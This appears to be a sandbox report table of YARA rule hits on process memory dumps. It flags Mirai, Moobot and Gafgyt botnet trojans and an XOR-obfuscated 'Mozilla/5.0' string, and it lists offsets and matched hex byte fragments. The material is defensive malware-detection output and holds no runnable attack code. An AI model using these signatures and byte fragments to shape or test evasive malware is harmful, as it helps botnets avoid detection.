7139.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7139.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7135.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7135.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7135.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7135.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7135.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7135.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6599.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6599.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6599.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6599.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6599.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6599.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7068.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6874.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6335.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7312.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7312.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7312.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7312.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7312.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7312.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6494.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6970.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6970.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6970.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6970.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6970.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6970.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6324.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6324.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6324.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6324.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6324.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6324.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
